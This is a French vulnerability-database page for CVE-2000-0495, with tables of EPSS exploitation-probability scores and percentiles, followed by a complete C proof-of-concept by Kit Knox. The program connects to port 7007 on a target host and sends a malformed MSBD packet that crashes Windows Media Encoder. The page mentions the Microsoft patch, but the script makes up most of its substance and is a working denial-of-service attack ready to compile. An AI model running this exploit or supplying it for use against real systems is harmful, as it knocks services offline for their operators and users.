CVE-2000-0495 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	21%	–	–
2022-04-03	–	–	21%	–	–
2023-02-26	–	–	21%	–	–
2023-03-12	–	–	–	82.48%	–
2023-03-26	–	–	–	24.1%	–
2024-03-31	–	–	–	24.1%	–
2024-06-02	–	–	–	24.1%	–
2025-01-19	–	–	–	24.1%	–
2025-03-18	–	–	–	–	18.34%
2025-03-30	–	–	–	–	17.34%
2025-03-30	–	–	–	–	17.34,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	94%
2022-04-03	96%
2023-02-26	97%
2023-03-12	98%
2023-03-26	96%
2024-03-31	97%
2024-06-02	97%
2025-01-19	97%
2025-03-18	95%
2025-03-30	95%
2025-03-30	95%

// source: https://www.securityfocus.com/bid/1282/info Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services. If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality. /* * * Media Streaming Broadcast Distribution (MSBD) * Denial of Service Attack * * (C) 2000 Kit Knox <kit@rootshell.com> - Public Release: 05/31/00 * * Causes the Windows Media Encoder to crash with a "Runtime Error!" * * "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1". * * Tested on version 4.1.0.3920 file "NsRex.exe" 998KB 1/11/00. * * Official Microsoft patch is available : * * http://www.microsoft.com/technet/security/bulletin/ms00-038.asp * * Thanks to Microsoft and the WMT group for their prompt attention to this * matter. * */ #include <stdio.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #include <string.h> #include <unistd.h> char bogus_msbd_packet1[] = { 0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00, 0x77, 0x00, 0x00, 0x00 }; int sock; int main(int argc, char *argv[]) { struct hostent *he; struct sockaddr_in sa; char buf[1024]; if (argc != 2) { fprintf(stderr, "usage: %s <host/ip>\n", argv[0]); return(-1); } sock = socket ( AF_INET, SOCK_STREAM, 0); sa.sin_family = AF_INET; sa.sin_port = htons(7007); he = gethostbyname (argv[1]); if (!he) { if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE) return(-1); } else { bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); } if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) { fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n"); return(-1); } write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1)); for (;;) { read(sock, buf, sizeof(buf)); } }